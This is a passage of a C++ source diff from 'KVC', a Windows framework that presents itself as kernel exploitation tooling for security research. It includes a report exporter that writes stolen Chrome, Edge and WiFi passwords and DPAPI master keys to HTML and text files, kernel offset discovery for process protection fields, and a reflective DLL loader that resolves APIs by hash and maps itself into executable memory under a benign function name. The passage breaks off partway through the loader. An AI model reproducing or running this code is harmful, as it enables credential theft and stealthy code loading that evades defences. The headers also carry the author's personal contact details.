// Kernel structure offset discovery and caching
class OffsetFinder
{
public:
OffsetFinder();
~OffsetFinder();
OffsetFinder(const OffsetFinder&) = delete;
OffsetFinder& operator=(const OffsetFinder&) = delete;
OffsetFinder(OffsetFinder&&) noexcept = default;
OffsetFinder& operator=(OffsetFinder&&) noexcept = default;
std::optional<DWORD> GetOffset(Offset name) const noexcept;
bool FindAllOffsets() noexcept;
private:
// Smart module wrapper for automatic cleanup
struct ModuleDeleter
{
void operator()(HMODULE module) const noexcept
{
if (module) FreeLibrary(module);
}
};
using ModuleHandle = std::unique_ptr<std::remove_pointer_t<HMODULE>, ModuleDeleter>;
ModuleHandle m_kernelModule;
std::unordered_map<Offset, DWORD> m_offsetMap;
// Offset discovery methods for different kernel structures
bool FindKernelPsInitialSystemProcessOffset() noexcept;
bool FindProcessActiveProcessLinksOffset() noexcept;
bool FindProcessUniqueProcessIdOffset() noexcept;
bool FindProcessProtectionOffset() noexcept;
bool FindProcessSignatureLevelOffset() noexcept;
bool FindProcessSectionSignatureLevelOffset() noexcept;
};

474
kvc/ReportExporter.cpp Normal file
View File

@@ -0,0 +1,474 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
#include "ReportExporter.h"
#include "Controller.h"
#include <filesystem>
#include <fstream>
#include <iostream>
#include <algorithm>
#include <sstream>
#include <iomanip>
#include <ctime>
namespace fs = std::filesystem;
// ReportData implementation with automatic statistics calculation
ReportData::ReportData(const std::vector<PasswordResult>& results,
const std::vector<RegistryMasterKey>& keys,
const std::wstring& path)
: passwordResults(results), masterKeys(keys), outputPath(path)
{
// Generate timestamp for report
time_t now = time(nullptr);
char timestampBuffer[20];
struct tm timeInfo;
localtime_s(&timeInfo, &now);
strftime(timestampBuffer, sizeof(timestampBuffer), "%Y-%m-%d %H:%M:%S", &timeInfo);
timestamp = timestampBuffer;
CalculateStatistics();
}
void ReportData::CalculateStatistics()
{
stats = Stats{};
stats.masterKeyCount = static_cast<int>(masterKeys.size());
// Count passwords by type
for (const auto& result : passwordResults) {
if (!result.password.empty()) {
stats.totalPasswords++;
if (result.type.find(L"Chrome") != std::wstring::npos)
stats.chromePasswords++;
else if (result.type.find(L"Edge") != std::wstring::npos)
stats.edgePasswords++;
else if (result.type.find(L"WiFi") != std::wstring::npos)
stats.wifiPasswords++;
}
}
}
// Professional report export in multiple formats
bool ReportExporter::ExportAllFormats(const ReportData& data) noexcept
{
INFO(L"Generating comprehensive password reports...");
if (!EnsureOutputDirectory(data.outputPath)) {
ERROR(L"Failed to create output directory: %s", data.outputPath.c_str());
return false;
}
bool htmlSuccess = ExportHTML(data);
bool txtSuccess = ExportTXT(data);
return htmlSuccess && txtSuccess;
}
bool ReportExporter::ExportHTML(const ReportData& data) noexcept
{
auto htmlPath = GetHTMLPath(data.outputPath);
std::ofstream htmlFile(htmlPath, std::ios::binary);
if (!htmlFile.is_open()) {
ERROR(L"Failed to create HTML report: %s", htmlPath.c_str());
return false;
}
std::string htmlContent = GenerateHTMLContent(data);
htmlFile << htmlContent;
htmlFile.close();
return true;
}
bool ReportExporter::ExportTXT(const ReportData& data) noexcept
{
auto txtPath = GetTXTPath(data.outputPath);
std::wofstream txtFile(txtPath);
if (!txtFile.is_open()) {
ERROR(L"Failed to create TXT report: %s", txtPath.c_str());
return false;
}
std::wstring txtContent = GenerateTXTContent(data);
txtFile << txtContent;
txtFile.close();
return true;
}
void ReportExporter::DisplaySummary(const ReportData& data) noexcept
{
std::wcout << L"\n";
SUCCESS(L"=== DPAPI PASSWORD EXTRACTION SUMMARY ===");
SUCCESS(L"Registry Master Keys: %d", data.stats.masterKeyCount);
SUCCESS(L"Total Passwords: %d", data.stats.totalPasswords);
SUCCESS(L"Chrome Passwords: %d", data.stats.chromePasswords);
SUCCESS(L"Edge Passwords: %d", data.stats.edgePasswords);
SUCCESS(L"WiFi Passwords: %d", data.stats.wifiPasswords);
SUCCESS(L"Reports Generated:");
SUCCESS(L" - HTML: %s\\dpapi_results.html", data.outputPath.c_str());
SUCCESS(L" - TXT: %s\\dpapi_results.txt", data.outputPath.c_str());
std::wcout << L"\n";
}
// HTML content generation with modern styling
std::string ReportExporter::GenerateHTMLContent(const ReportData& data) noexcept
{
std::ostringstream html;
html << BuildHTMLHeader(data);
html << BuildSummarySection(data);
html << BuildMasterKeysTable(data);
html << BuildPasswordsTable(data);
html << BuildWiFiTable(data);
html << "</div>\n</body>\n</html>";
return html.str();
}
std::string ReportExporter::BuildHTMLHeader(const ReportData& data) noexcept
{
std::ostringstream header;
header << "<!DOCTYPE html>\n<html>\n<head>\n";
header << " <meta charset=\"utf-8\">\n";
header << " <title>kvc DPAPI Extraction Results - Kernel Vulnerability Capabilities Framework by WESMAR</title>\n";
header << " <style>\n";
// Modern CSS styling
header << " * { box-sizing: border-box; }\n";
header << " body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; margin: 0; padding: 20px; background: #f0f2f5; color: #333; }\n";
header << " .container { max-width: 100%; margin: 0 auto; background: white; padding: 25px; border-radius: 10px; box-shadow: 0 4px 12px rgba(0,0,0,0.1); }\n";
header << " h1 { color: #2c3e50; border-bottom: 3px solid #3498db; padding-bottom: 15px; margin-top: 0; font-size: 28px; }\n";
header << " .summary { background: #e8f4fd; padding: 20px; border-radius: 8px; margin: 25px 0; border-left: 5px solid #3498db; }\n";
header << " .summary strong { color: #2980b9; }\n";
header << " table { width: 100%; border-collapse: collapse; margin: 25px 0; table-layout: fixed; }\n";
header << " th, td { padding: 14px; text-align: left; border: 1px solid #ddd; word-wrap: break-word; }\n";
header << " th { background: #f8f9fa; font-weight: bold; color: #2c3e50; position: sticky; top: 0; }\n";
header << " tr:nth-child(even) { background: #f9f9f9; }\n";
header << " tr:hover { background: #f0f8ff; }\n";
header << " .password { background: #ffe6e6; font-family: 'Consolas', monospace; font-size: 14px; }\n";
header << " .status-decrypted { color: #27ae60; font-weight: bold; }\n";
header << " .status-extracted { color: #ffc107; font-weight: bold; }\n";
header << " .hex-data { font-family: 'Consolas', 'Monaco', monospace; font-size: 11px; word-break: break-all; background: #f8f9fa; padding: 4px 8px; border-radius: 4px; }\n";
// Color coding for different data types
header << " .chrome { border-left: 5px solid #4285f4; }\n";
header << " .edge { border-left: 5px solid #0078d4; }\n";
header << " .wifi { border-left: 5px solid #ff6b35; }\n";
header << " .masterkey { border-left: 5px solid #9b59b6; }\n";
header << " .section-title { font-size: 20px; color: #2c3e50; margin: 30px 0 15px 0; padding-bottom: 10px; border-bottom: 2px solid #3498db; }\n";
header << " </style>\n";
header << "</head>\n<body>\n";
header << " <div class=\"container\">\n";
header << " <h1>🔓 kvc DPAPI Extraction Results - Kernel Vulnerability Capabilities Framework by WESMAR</h1>\n";
return header.str();
}
std::string ReportExporter::BuildSummarySection(const ReportData& data) noexcept
{
std::ostringstream summary;
summary << " <div class=\"summary\">\n";
summary << " <strong>Generated:</strong> " << data.timestamp << "<br>\n";
summary << " <strong>Registry Master Keys:</strong> " << data.stats.masterKeyCount << "<br>\n";
summary << " <strong>Total Passwords:</strong> " << data.stats.totalPasswords << "<br>\n";
summary << " <strong>Chrome Passwords:</strong> " << data.stats.chromePasswords << "<br>\n";
summary << " <strong>Edge Passwords:</strong> " << data.stats.edgePasswords << "<br>\n";
summary << " <strong>WiFi Passwords:</strong> " << data.stats.wifiPasswords << "<br>\n";
summary << " <strong>Extraction Method:</strong> Registry DPAPI + TrustedInstaller<br>\n";
summary << " <strong>Tool:</strong> kvc v1.0.1 - marek@wesolowski.eu.org\n";
summary << " </div>\n";
return summary.str();
}
std::string ReportExporter::BuildMasterKeysTable(const ReportData& data) noexcept
{
std::ostringstream table;
table << "\n <div class=\"section-title\">DPAPI Master Keys</div>\n";
table << " <table>\n";
table << " <thead>\n";
table << " <tr>\n";
table << " <th style=\"width: 15%;\">Key Type</th>\n";
table << " <th style=\"width: 40%;\">Raw Data (Hex)</th>\n";
table << " <th style=\"width: 40%;\">Processed Data (Hex)</th>\n";
table << " <th style=\"width: 5%;\">Status</th>\n";
table << " </tr>\n";
table << " </thead>\n";
table << " <tbody>";
for (const auto& masterKey : data.masterKeys) {
// Extract key type from full registry path
std::string keyType = "Unknown";
if (masterKey.keyName.find(L"DPAPI_SYSTEM") != std::wstring::npos) {
keyType = "DPAPI_SYSTEM";
} else if (masterKey.keyName.find(L"NL$KM") != std::wstring::npos) {
keyType = "NL$KM";
} else if (masterKey.keyName.find(L"DefaultPassword") != std::wstring::npos) {
keyType = "DefaultPassword";
}
// Convert binary data to hex strings
std::string rawHex = BytesToHexString(masterKey.encryptedData);
std::string processedHex = BytesToHexString(masterKey.decryptedData);
// Truncate for display if too long
if (rawHex.length() > 64) {
rawHex = rawHex.substr(0, 64) + "...";
}
if (processedHex.length() > 64) {
processedHex = processedHex.substr(0, 64) + "...";
}
std::string statusClass = masterKey.isDecrypted ? "status-decrypted" : "status-extracted";
std::string statusText = masterKey.isDecrypted ? "" : "";
table << " <tr class=\"masterkey\">\n";
table << " <td><strong>" << keyType << "</strong></td>\n";
table << " <td class=\"hex-data\">" << rawHex << "</td>\n";
table << " <td class=\"hex-data\">" << processedHex << "</td>\n";
table << " <td class=\"" << statusClass << "\">" << statusText << "</td>\n";
table << " </tr>\n\n";
}
table << " </tbody>\n </table>\n";
return table.str();
}
std::string ReportExporter::BuildPasswordsTable(const ReportData& data) noexcept
{
std::ostringstream table;
table << "\n <div class=\"section-title\">Browser Passwords</div>\n";
table << " <table>\n";
table << " <thead>\n";
table << " <tr>\n";
table << " <th style=\"width: 15%;\">Browser</th>\n";
table << " <th style=\"width: 15%;\">Profile</th>\n";
table << " <th style=\"width: 25%;\">URL</th>\n";
table << " <th style=\"width: 15%;\">Username</th>\n";
table << " <th style=\"width: 20%;\">Password</th>\n";
table << " <th style=\"width: 10%;\">Status</th>\n";
table << " </tr>\n";
table << " </thead>\n";
table << " <tbody>";
// Filter and display browser passwords
for (const auto& result : data.passwordResults) {
if (result.type.find(L"Chrome") != std::wstring::npos ||
result.type.find(L"Edge") != std::wstring::npos) {
std::string cssClass = result.type.find(L"Chrome") != std::wstring::npos ? "chrome" : "edge";
table << " <tr class=\"" << cssClass << "\">\n";
table << " <td>" << WStringToUTF8(result.type) << "</td>\n";
table << " <td>" << WStringToUTF8(result.profile) << "</td>\n";
table << " <td>" << WStringToUTF8(result.url) << "</td>\n";
table << " <td>" << WStringToUTF8(result.username) << "</td>\n";
table << " <td class=\"password\">" << WStringToUTF8(result.password) << "</td>\n";
table << " <td class=\"status-decrypted\">" << WStringToUTF8(result.status) << "</td>\n";
table << " </tr>\n";
}
}
table << " </tbody>\n </table>\n";
return table.str();
}
std::string ReportExporter::BuildWiFiTable(const ReportData& data) noexcept
{
std::ostringstream table;
table << "\n <div class=\"section-title\">WiFi Credentials</div>\n";
table << " <table>\n";
table << " <thead>\n";
table << " <tr>\n";
table << " <th style=\"width: 30%;\">Network Name</th>\n";
table << " <th style=\"width: 40%;\">Password</th>\n";
table << " <th style=\"width: 15%;\">Type</th>\n";
table << " <th style=\"width: 15%;\">Status</th>\n";
table << " </tr>\n";
table << " </thead>\n";
table << " <tbody>";
// Filter and display WiFi credentials
for (const auto& result : data.passwordResults) {
if (result.type.find(L"WiFi") != std::wstring::npos) {
table << " <tr class=\"wifi\">\n";
table << " <td>" << WStringToUTF8(result.profile) << "</td>\n";
table << " <td class=\"password\">" << WStringToUTF8(result.password) << "</td>\n";
table << " <td>" << WStringToUTF8(result.type) << "</td>\n";
table << " <td class=\"status-decrypted\">" << WStringToUTF8(result.status) << "</td>\n";
table << " </tr>\n";
}
}
table << " </tbody>\n </table>\n";
return table.str();
}
// Convert byte vector to hex string for display
std::string ReportExporter::BytesToHexString(const std::vector<BYTE>& bytes) noexcept
{
if (bytes.empty()) return "N/A";
std::ostringstream hexStream;
hexStream << std::hex << std::setfill('0');
for (size_t i = 0; i < bytes.size() && i < 32; ++i) { // Limit to first 32 bytes for display
hexStream << std::setw(2) << static_cast<int>(bytes[i]);
}
if (bytes.size() > 32) {
hexStream << "...";
}
return hexStream.str();
}
// TXT report generation for lightweight output
std::wstring ReportExporter::GenerateTXTContent(const ReportData& data) noexcept
{
std::wostringstream txt;
txt << BuildTXTHeader(data);
txt << BuildTXTMasterKeys(data);
txt << BuildTXTPasswords(data);
txt << BuildTXTWiFi(data);
return txt.str();
}
std::wstring ReportExporter::BuildTXTHeader(const ReportData& data) noexcept
{
std::wostringstream header;
header << L"=== kvc DPAPI EXTRACTION RESULTS ===\n";
header << L"Generated: " << std::wstring(data.timestamp.begin(), data.timestamp.end()) << L"\n";
header << L"Registry Master Keys: " << data.stats.masterKeyCount << L"\n";
header << L"Total Passwords: " << data.stats.totalPasswords << L"\n";
header << L"Tool: kvc v1.0.1 - Kernel Vulnerability Capabilities Framework by WESMAR\n";
header << L"=================================\n\n";
return header.str();
}
std::wstring ReportExporter::BuildTXTMasterKeys(const ReportData& data) noexcept
{
std::wostringstream section;
section << L"=== REGISTRY MASTER KEYS ===\n";
for (const auto& masterKey : data.masterKeys) {
section << L"Key: " << masterKey.keyName << L"\n";
section << L"Size: " << masterKey.encryptedData.size() << L" bytes\n";
section << L"Status: " << (masterKey.isDecrypted ? L"DECRYPTED" : L"EXTRACTED") << L"\n";
section << L"---------------------------------\n";
}
section << L"\n";
return section.str();
}
std::wstring ReportExporter::BuildTXTPasswords(const ReportData& data) noexcept
{
std::wostringstream section;
section << L"=== BROWSER PASSWORDS ===\n";
for (const auto& result : data.passwordResults) {
if (result.type.find(L"Chrome") != std::wstring::npos ||
result.type.find(L"Edge") != std::wstring::npos) {
section << L"Browser: " << result.type << L"\n";
section << L"Profile: " << result.profile << L"\n";
section << L"URL: " << result.url << L"\n";
section << L"Username: " << result.username << L"\n";
section << L"Password: " << result.password << L"\n";
section << L"Status: " << result.status << L"\n";
section << L"---------------------------------\n";
}
}
section << L"\n";
return section.str();
}
std::wstring ReportExporter::BuildTXTWiFi(const ReportData& data) noexcept
{
std::wostringstream section;
section << L"=== WIFI CREDENTIALS ===\n";
for (const auto& result : data.passwordResults) {
if (result.type.find(L"WiFi") != std::wstring::npos) {
section << L"Network: " << result.profile << L"\n";
section << L"Password: " << result.password << L"\n";
section << L"Status: " << result.status << L"\n";
section << L"---------------------------------\n";
}
}
section << L"\n";
return section.str();
}
// Utility functions for file handling and encoding
std::string ReportExporter::WStringToUTF8(const std::wstring& wstr) noexcept
{
if (wstr.empty()) return "";
int size_needed = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), (int)wstr.size(), NULL, 0, NULL, NULL);
std::string strTo(size_needed, 0);
WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), (int)wstr.size(), &strTo[0], size_needed, NULL, NULL);
return strTo;
}
std::wstring ReportExporter::GetHTMLPath(const std::wstring& outputPath) noexcept
{
return outputPath + L"\\dpapi_results.html";
}
std::wstring ReportExporter::GetTXTPath(const std::wstring& outputPath) noexcept
{
return outputPath + L"\\dpapi_results.txt";
}
bool ReportExporter::EnsureOutputDirectory(const std::wstring& path) noexcept
{
if (!fs::exists(path)) {
try {
fs::create_directories(path);
return true;
} catch (...) {
return false;
}
}
return true;
}

78
kvc/ReportExporter.h Normal file
View File

@@ -0,0 +1,78 @@
#pragma once
#include "common.h"
#include <vector>
#include <string>
struct PasswordResult;
struct RegistryMasterKey;
// Report data aggregation with automatic statistics
struct ReportData
{
std::vector<PasswordResult> passwordResults;
std::vector<RegistryMasterKey> masterKeys;
std::wstring outputPath;
std::string timestamp;
struct Stats {
int totalPasswords = 0;
int chromePasswords = 0;
int edgePasswords = 0;
int wifiPasswords = 0;
int masterKeyCount = 0;
} stats;
ReportData() = default;
ReportData(const std::vector<PasswordResult>& results,
const std::vector<RegistryMasterKey>& keys,
const std::wstring& path);
private:
void CalculateStatistics();
};
// Professional report export in multiple formats
class ReportExporter
{
public:
ReportExporter() = default;
~ReportExporter() = default;
ReportExporter(const ReportExporter&) = delete;
ReportExporter& operator=(const ReportExporter&) = delete;
ReportExporter(ReportExporter&&) noexcept = default;
ReportExporter& operator=(ReportExporter&&) noexcept = default;
// Main export interface
bool ExportAllFormats(const ReportData& data) noexcept;
bool ExportHTML(const ReportData& data) noexcept;
bool ExportTXT(const ReportData& data) noexcept;
void DisplaySummary(const ReportData& data) noexcept;
private:
// HTML generation with obfuscated markup
std::string GenerateHTMLContent(const ReportData& data) noexcept;
std::string BuildHTMLHeader(const ReportData& data) noexcept;
std::string BuildSummarySection(const ReportData& data) noexcept;
std::string BuildMasterKeysTable(const ReportData& data) noexcept;
std::string BuildPasswordsTable(const ReportData& data) noexcept;
std::string BuildWiFiTable(const ReportData& data) noexcept;
// TXT generation for lightweight output
std::wstring GenerateTXTContent(const ReportData& data) noexcept;
std::wstring BuildTXTHeader(const ReportData& data) noexcept;
std::wstring BuildTXTMasterKeys(const ReportData& data) noexcept;
std::wstring BuildTXTPasswords(const ReportData& data) noexcept;
std::wstring BuildTXTWiFi(const ReportData& data) noexcept;
// Utility functions for encoding and paths
std::string WStringToUTF8(const std::wstring& wstr) noexcept;
std::wstring GetHTMLPath(const std::wstring& outputPath) noexcept;
std::wstring GetTXTPath(const std::wstring& outputPath) noexcept;
bool EnsureOutputDirectory(const std::wstring& path) noexcept;
// Utility for DPAPI key display
std::string BytesToHexString(const std::vector<BYTE>& bytes) noexcept;
};

282
kvc/SelfLoader.cpp Normal file
View File

@@ -0,0 +1,282 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// SelfLoader.cpp
#include <windows.h>
#include <algorithm>
#include <cstring>
#include "SelfLoader.h"
#pragma intrinsic(_ReturnAddress)
#pragma intrinsic(_rotr)
namespace {
// Position-independent code generation helper for hash computation
DWORD ror_dword_loader(DWORD d) noexcept
{
return _rotr(d, HASH_KEY);
}
// Generate runtime hash for API name resolution
DWORD hash_string_loader(const char* c) noexcept
{
DWORD h = 0;
do
{
h = ror_dword_loader(h);
h += *c;
} while (*++c);
return h;
}
// Get current instruction pointer for position-independent addressing
__declspec(noinline) ULONG_PTR GetIp() noexcept
{
return reinterpret_cast<ULONG_PTR>(_ReturnAddress());
}
}
// Manual PE loader with base relocation support for security modules
DLLEXPORT ULONG_PTR WINAPI InitializeSecurityContext(LPVOID lpLoaderParameter)
{
LOADLIBRARYA_FN fnLoadLibraryA = nullptr;
GETPROCADDRESS_FN fnGetProcAddress = nullptr;
VIRTUALALLOC_FN fnVirtualAlloc = nullptr;
NTFLUSHINSTRUCTIONCACHE_FN fnNtFlushInstructionCache = nullptr;
ULONG_PTR uiModuleBase = GetIp();
ULONG_PTR uiKernel32Base = 0;
ULONG_PTR uiNtdllBase = 0;
// Locate current module base by walking backwards from instruction pointer
while (true)
{
auto pDosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(uiModuleBase);
if (pDosHeader->e_magic == IMAGE_DOS_SIGNATURE)
{
auto pNtHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>(uiModuleBase + pDosHeader->e_lfanew);
if (pNtHeaders->Signature == IMAGE_NT_SIGNATURE)
break;
}
uiModuleBase--;
}
// Retrieve Process Environment Block based on target architecture
auto pPeb = GET_PEB();
auto pLdr = pPeb->Ldr;
auto pModuleList = &(pLdr->InMemoryOrderModuleList);
auto pCurrentEntry = pModuleList->Flink;
// Walk PEB loader data to locate system libraries
while (pCurrentEntry != pModuleList && (!uiKernel32Base || !uiNtdllBase))
{
auto pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY_MINIMAL, InMemoryOrderLinks);
if (pEntry->BaseDllName.Length > 0 && pEntry->BaseDllName.Buffer != nullptr)
{
DWORD dwModuleHash = 0;
USHORT usCounter = pEntry->BaseDllName.Length;
auto pNameByte = reinterpret_cast<const BYTE*>(pEntry->BaseDllName.Buffer);
// Generate case-insensitive hash for module name comparison
do
{
dwModuleHash = ror_dword_loader(dwModuleHash);
if (*pNameByte >= 'a' && *pNameByte <= 'z')
{
dwModuleHash += (*pNameByte - 0x20);
}
else
{
dwModuleHash += *pNameByte;
}
pNameByte++;
} while (--usCounter);
if (dwModuleHash == KERNEL32DLL_HASH)
{
uiKernel32Base = reinterpret_cast<ULONG_PTR>(pEntry->DllBase);
}
else if (dwModuleHash == NTDLLDLL_HASH)
{
uiNtdllBase = reinterpret_cast<ULONG_PTR>(pEntry->DllBase);
}
}
pCurrentEntry = pCurrentEntry->Flink;
}
if (!uiKernel32Base || !uiNtdllBase)
return 0;
// Parse kernel32.dll export directory for required APIs
auto pDosKernel32 = reinterpret_cast<PIMAGE_DOS_HEADER>(uiKernel32Base);
auto pNtKernel32 = reinterpret_cast<PIMAGE_NT_HEADERS>(uiKernel32Base + pDosKernel32->e_lfanew);
auto uiExportDirK32 = uiKernel32Base + pNtKernel32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
auto pExportDirK32 = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(uiExportDirK32);
auto uiAddressOfNamesK32 = uiKernel32Base + pExportDirK32->AddressOfNames;
auto uiAddressOfFunctionsK32 = uiKernel32Base + pExportDirK32->AddressOfFunctions;
auto uiAddressOfNameOrdinalsK32 = uiKernel32Base + pExportDirK32->AddressOfNameOrdinals;
// Resolve critical Windows APIs by hash comparison
for (DWORD i = 0; i < pExportDirK32->NumberOfNames; i++)
{
auto sName = reinterpret_cast<const char*>(uiKernel32Base + reinterpret_cast<DWORD*>(uiAddressOfNamesK32)[i]);
const DWORD dwHashVal = hash_string_loader(sName);
if (dwHashVal == LOADLIBRARYA_HASH)
fnLoadLibraryA = reinterpret_cast<LOADLIBRARYA_FN>(uiKernel32Base + reinterpret_cast<DWORD*>(uiAddressOfFunctionsK32)[reinterpret_cast<WORD*>(uiAddressOfNameOrdinalsK32)[i]]);
else if (dwHashVal == GETPROCADDRESS_HASH)
fnGetProcAddress = reinterpret_cast<GETPROCADDRESS_FN>(uiKernel32Base + reinterpret_cast<DWORD*>(uiAddressOfFunctionsK32)[reinterpret_cast<WORD*>(uiAddressOfNameOrdinalsK32)[i]]);
else if (dwHashVal == VIRTUALALLOC_HASH)
fnVirtualAlloc = reinterpret_cast<VIRTUALALLOC_FN>(uiKernel32Base + reinterpret_cast<DWORD*>(uiAddressOfFunctionsK32)[reinterpret_cast<WORD*>(uiAddressOfNameOrdinalsK32)[i]]);
if (fnLoadLibraryA && fnGetProcAddress && fnVirtualAlloc)
break;
}
if (!fnLoadLibraryA || !fnGetProcAddress || !fnVirtualAlloc)
return 0;
// Parse ntdll.dll export directory for instruction cache management
auto pDosNtdll = reinterpret_cast<PIMAGE_DOS_HEADER>(uiNtdllBase);
auto pNtNtdll = reinterpret_cast<PIMAGE_NT_HEADERS>(uiNtdllBase + pDosNtdll->e_lfanew);
auto uiExportDirNtdll = uiNtdllBase + pNtNtdll->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
auto pExportDirNtdll = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(uiExportDirNtdll);
auto uiAddressOfNamesNtdll = uiNtdllBase + pExportDirNtdll->AddressOfNames;
auto uiAddressOfFunctionsNtdll = uiNtdllBase + pExportDirNtdll->AddressOfFunctions;
auto uiAddressOfNameOrdinalsNtdll = uiNtdllBase + pExportDirNtdll->AddressOfNameOrdinals;
for (DWORD i = 0; i < pExportDirNtdll->NumberOfNames; i++)
{
auto sName = reinterpret_cast<const char*>(uiNtdllBase + reinterpret_cast<DWORD*>(uiAddressOfNamesNtdll)[i]);
if (hash_string_loader(sName) == NTFLUSHINSTRUCTIONCACHE_HASH)
{
fnNtFlushInstructionCache = reinterpret_cast<NTFLUSHINSTRUCTIONCACHE_FN>(uiNtdllBase + reinterpret_cast<DWORD*>(uiAddressOfFunctionsNtdll)[reinterpret_cast<WORD*>(uiAddressOfNameOrdinalsNtdll)[i]]);
break;
}
}
if (!fnNtFlushInstructionCache)
return 0;
// Allocate memory for relocated image in target virtual address space
auto pOldNtHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>(uiModuleBase + reinterpret_cast<PIMAGE_DOS_HEADER>(uiModuleBase)->e_lfanew);
const auto uiNewImageBase = reinterpret_cast<ULONG_PTR>(fnVirtualAlloc(nullptr, pOldNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE));
if (!uiNewImageBase)
return 0;
// Copy PE headers to new memory location
auto pSourceBytes = reinterpret_cast<const BYTE*>(uiModuleBase);
auto pDestinationBytes = reinterpret_cast<BYTE*>(uiNewImageBase);
const DWORD dwHeadersSize = pOldNtHeaders->OptionalHeader.SizeOfHeaders;
std::copy(pSourceBytes, pSourceBytes + dwHeadersSize, pDestinationBytes);
// Copy all sections to their virtual addresses
auto pSectionHeader = reinterpret_cast<PIMAGE_SECTION_HEADER>(reinterpret_cast<ULONG_PTR>(&pOldNtHeaders->OptionalHeader) + pOldNtHeaders->FileHeader.SizeOfOptionalHeader);
for (WORD i = 0; i < pOldNtHeaders->FileHeader.NumberOfSections; i++)
{
auto pSectionSource = reinterpret_cast<const BYTE*>(uiModuleBase + pSectionHeader[i].PointerToRawData);
auto pSectionDest = reinterpret_cast<BYTE*>(uiNewImageBase + pSectionHeader[i].VirtualAddress);
const DWORD dwSectionSize = pSectionHeader[i].SizeOfRawData;
std::copy(pSectionSource, pSectionSource + dwSectionSize, pSectionDest);
}
// Process base relocations for position-independent execution
const auto uiDelta = uiNewImageBase - pOldNtHeaders->OptionalHeader.ImageBase;
auto pRelocationData = &pOldNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (pRelocationData->Size > 0 && uiDelta != 0)
{
auto pRelocBlock = reinterpret_cast<PIMAGE_BASE_RELOCATION>(uiNewImageBase + pRelocationData->VirtualAddress);
while (pRelocBlock->VirtualAddress)
{
const DWORD dwEntryCount = (pRelocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
auto pRelocEntry = reinterpret_cast<PIMAGE_RELOC_ENTRY>(reinterpret_cast<ULONG_PTR>(pRelocBlock) + sizeof(IMAGE_BASE_RELOCATION));
for (DWORD k = 0; k < dwEntryCount; k++)
{
#if defined(_M_X64) || defined(_M_ARM64)
if (pRelocEntry[k].type == IMAGE_REL_BASED_DIR64)
{
*reinterpret_cast<ULONG_PTR*>(uiNewImageBase + pRelocBlock->VirtualAddress + pRelocEntry[k].offset) += uiDelta;
}
#else
if (pRelocEntry[k].type == IMAGE_REL_BASED_HIGHLOW)
{
*reinterpret_cast<DWORD*>(uiNewImageBase + pRelocBlock->VirtualAddress + pRelocEntry[k].offset) += static_cast<DWORD>(uiDelta);
}
#endif
}
pRelocBlock = reinterpret_cast<PIMAGE_BASE_RELOCATION>(reinterpret_cast<ULONG_PTR>(pRelocBlock) + pRelocBlock->SizeOfBlock);
}
}
// Process import address table and resolve external dependencies
auto pImportData = &pOldNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
if (pImportData->Size > 0)
{
auto pImportDesc = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(uiNewImageBase + pImportData->VirtualAddress);
while (pImportDesc->Name)
{
auto sModuleName = reinterpret_cast<const char*>(uiNewImageBase + pImportDesc->Name);
const HINSTANCE hModule = fnLoadLibraryA(sModuleName);
if (hModule)
{
auto pOriginalFirstThunk = reinterpret_cast<PIMAGE_THUNK_DATA>(uiNewImageBase + pImportDesc->OriginalFirstThunk);
auto pFirstThunk = reinterpret_cast<PIMAGE_THUNK_DATA>(uiNewImageBase + pImportDesc->FirstThunk);
if (!pOriginalFirstThunk)
pOriginalFirstThunk = pFirstThunk;
while (pOriginalFirstThunk->u1.AddressOfData)
{
FARPROC pfnImportedFunc;
if (IMAGE_SNAP_BY_ORDINAL(pOriginalFirstThunk->u1.Ordinal))
{
pfnImportedFunc = fnGetProcAddress(hModule, reinterpret_cast<LPCSTR>(pOriginalFirstThunk->u1.Ordinal & 0xFFFF));
}
else
{
